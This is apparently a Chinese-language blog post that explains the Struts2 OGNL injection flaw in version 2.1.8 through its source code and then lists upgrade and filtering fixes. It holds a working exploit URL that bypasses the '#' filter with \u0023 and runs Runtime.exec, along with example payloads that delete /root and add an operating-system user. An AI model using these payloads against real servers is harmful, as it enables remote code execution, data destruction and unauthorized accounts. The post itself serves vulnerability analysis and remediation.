前面的話

　　工作了好幾點，一直都沒有認認真真的去寫過什麼東西，趁著最近這段時間有空，總結一下這幾年在工作中的一些經驗，尤其是Struts2 Ognl 漏洞，當年不知道影響了多少個網際網路企業。現在把他記錄下來，作為對幾年工作的一個回憶吧。
　　如果您是對Struts2不熟悉，又想測試Struts2 Ognl 漏洞的讀者，請下先移步到Struts2 入門示例，裡面有一個簡單的Struts示例, 正好也是基於Struts2.1.8的一個示例，非常適合測試Struts2.1.8 Ognl 漏洞。

漏洞淺析

　　我們看看是那一段程式碼引起的這個漏洞，經過測試分析原始碼知道。當Struts2獲取前臺所傳引數的內容的時候，他會先獲得使用者提交的引數名，然後從值棧（Value Stack）中找到符合引數值的內容，並列印。
　　其中ValueStack的findValue方法是關鍵點，我們看一下Value Stack類中定義的方法。

public interface ValueStack{
    public abstract String findString(String expr);
    public abstract String findString(String expr, boolean throwExceptionOnFailure);

    /**
     * Find a value by evaluating the given expression against the stack in the default search order.
     *
     * @param
 
 expr the expression giving the path of properties to navigate to find the property value to return
     * @return the result of evaluating the expression
     */
    public abstract Object findValue(String expr);

    public abstract Object findValue(String expr, boolean throwExceptionOnFailure);

    /**
     * Find a value by evaluating the given expression against the stack in the default search order.
     *
     * @param
 
 expr   the expression giving the path of properties to navigate to find the property value to return
     * @param asType the type to convert the return value to
     * @return the result of evaluating the expression
     */
    public abstract Object findValue(String expr, Class asType);
    public abstract Object findValue(String expr, Class asType,  boolean throwExceptionOnFailure);
}

　　我們可以看到findValue()有三個引數：

　　 expr 客戶所傳引數的表示式, 　　
　　asType 引數的表示式需要轉換的類型別, 　　
　　throwExceptionOnFailure： 失敗都是時候是否丟擲異常

　　我們下面在看一下ValueStack類的實現類OgnlValueStack中的findValue的實現方法：

 public Object findValue(String expr, Class asType, boolean throwExceptionOnFailure) {
        try {
            if (expr == null) {
                return null;
            }

            if ((overrides != null) && overrides.containsKey(expr)) {
                expr = (String) overrides.get(expr);
            }
            // 這一步才是漏洞的關鍵所在
            Object value = ognlUtil.getValue(expr, context, root, asType);
            if (value != null) {
                return value;
            } else {
                checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
                return findInContext(expr);
            }
        } catch (OgnlException e) {
            checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
            return findInContext(expr);
        } catch (Exception e) {
            logLookupFailure(expr, e);

            if (throwExceptionOnFailure)
                throw new XWorkException(e);

            return findInContext(expr);
        } finally {
            ReflectionContextState.clear(context);
        }
    }

　　該方法中呼叫了

Object value = ognlUtil.getValue(expr, context, root);

　　繼續深入追蹤進入OgnlUtil檔案，看到如下程式碼：

public Object getValue(String name, Map context, Object root) throws OgnlException {
    return Ognl.getValue(compile(name), context, root);
}

　　最後可以看到OgnlUtil類的compile, 這一步居然執行了表示式：

 public Object compile(String expression) throws OgnlException {
        if (enableExpressionCache) {
            Object o = expressions.get(expression);
            if (o == null) {
                o = Ognl.parseExpression(expression);
                expressions.put(expression, o);
            }
            return o;
        } else
            return Ognl.parseExpression(expression);
    }

　　看完了原始碼我們知道，Ognl.getValue()方法的作用，它根據表示式（引數1），在上下文（引數2）和指定類中（引數3）查詢響應的內容，並返回，若沒有則返回空。在查詢的過程中，表示式會被執行，這才使得攻擊者有可乘之機，利用這個方法來執行一些惡意的行為。

測試漏洞

　　我們可以在瀏覽器中輸入如下Url:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4}
　　如果瀏覽器上顯示：http://localhost:8080/Struts2Ongl/login.action?-1 ， 則說明該Struts2版本存在ognl表示式漏洞，因為引數後面的表示式被執行了。
　　如果瀏覽器上顯示：http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4}，則說明該Struts2版本不存在ognl表示式漏洞，它沒有執行引數後面的表示式。
　　
　　Struts2的核心是使用的webwork框架，處理 action時通過呼叫底層的getter/setter方法來處理http的引數，它將每個http引數宣告為一個ONGL（這裡是ONGL的介紹）語句。當我們提交一個http引數：
　　?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys
　　
　　ONGL將它轉換為（如下java程式碼）：
　　action.getUser().getAddress().setCity(“Bishkek”) ；
　　action.getUser().setFavoriteDrink(“kumys”) ；

　　這是通過ParametersInterceptor（引數過濾器）來執行的，使用使用者提供的HTTP引數呼叫 ValueStack.setValue()。
　　為了防範篡改伺服器端物件，XWork的ParametersInterceptor不允許引數名中出現“#”字元，但如果使用了Java的 unicode字串表示\u0023，攻擊者就可以繞過保護。
　　以下Url請求程式碼有破壞性，請在測試環境執行，嚴禁用此種方法進行惡意攻擊。

http://localhost:8080/Struts2Ongl/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(a)=true
&(b)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023zzz')
(\u0023zzz\u003dnew%20java.lang.Boolean("false")))
&(c)(@[email protected]().exec("calc"))

　　轉義後Url如下：

http://localhost:8080/Struts2Ongl/login.action?('#_memberAccess['allowStaticMethodAccess']')(a)=true
&(b)(('#context['xwork.MethodAccessor.denyMethodExecution']=#zzz')
(#zzz=new%20java.lang.Boolean("false")))
&(c)(('#rt.exec("calc")')(#rt=@java.lang.Runtime@getRuntime()))=1  

　　OGNL處理時最終的結果就是執行一下程式碼:

java.lang.Runtime.getRuntime().exec("calc");  

　　在windows下的演示效果便是彈出了計算器
　　

　　類似的可以執行如下程式碼：

java.lang.Runtime.getRuntime().exec("rm –rf /root")  
，只要有許可權就可以刪除任何一個目錄。 
java.lang.Runtime.getRuntime().exec("net user 使用者名稱 密碼 /add");//增加作業系統使用者，在有許可權的情況下能成功（在URL中用%20替換空格，%2F替換/）

　　後果是相當可怕

解決方案

　　大概有四種解決方案，方案如下。建議使用第四中方案。
　　1.升級到struts2.2版本。
　　這個可以避免這個問題，經測試發現新版本雖然解決了上述的漏洞，但是新的問題是strus標籤出問題了。

<s:bean id="Test" name="cn.com.Test"></s:bean>   
<s:property value="#Test.getType().get(cType.toString())" /> 

　　這樣的標籤在struts2.0中是可以使用的，但是新版中就不解析了，原因就是“#”的問題導致的，補了漏洞，正常的使用也用不了了。
所以sebug網站上的建議升級到2.2版本是不可行的。

　　2.struts引數過濾。

<interceptor-ref name="params">   
<param name="excludeParams">.*\\u0023.*</param>   
</interceptor-ref>  

　　這個可以解決漏洞問題，缺點是工作量大，每個專案都得改struts配置檔案。如果專案裡，是引用的一個類似global.xml的配置檔案，工作量相應減少一些。

　　3.在前端請求進行過濾。
　　比如在ngnix，apache進行攔截，引數中帶有\u0023的一律視為攻擊，跳轉到404頁面或者別的什麼頁面。這樣做的一個前提就是沒人把#號轉碼後作為引數傳遞。
　　請求如果是get方式，可以進行過濾，如果是post方式就過濾不到了，所以還是應該修改配置檔案或更新新的jar包。
　
　　4、全面升級。struts2.1.8.1升級至2.3.24 　

• 1、新增JAR包：commons-lang3-3.2.jar 和 javassist-3.11.0.GA.jar
• 2、替換JAR包：
  commons-fileupload-1.2.1.jar —->commons-fileupload-1.3.1.jar
  commons-io-1.3.2.jar —–>commons-io-2.2.jar
  freemarker-2.3.15.jar —->freemarker-2.3.22.jar
  ognl-2.7.3.jar —-> ognl-3.0.6.jar
  struts2-core-2.1.8.1.jar —-> struts2-core-2.3.24.jar
  xwork-core-2.1.6.jar —–> xwork-core-2.3.24.jar
• 3、保留原有的commons-lang.jar，org.apache.commons.lang.StringUtils類被org.apache.commons.lang3.StringUtils替換了
• 4、修改web.xml, 將org.apache.struts2.dispatcher.FilterDispatcher 改為 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter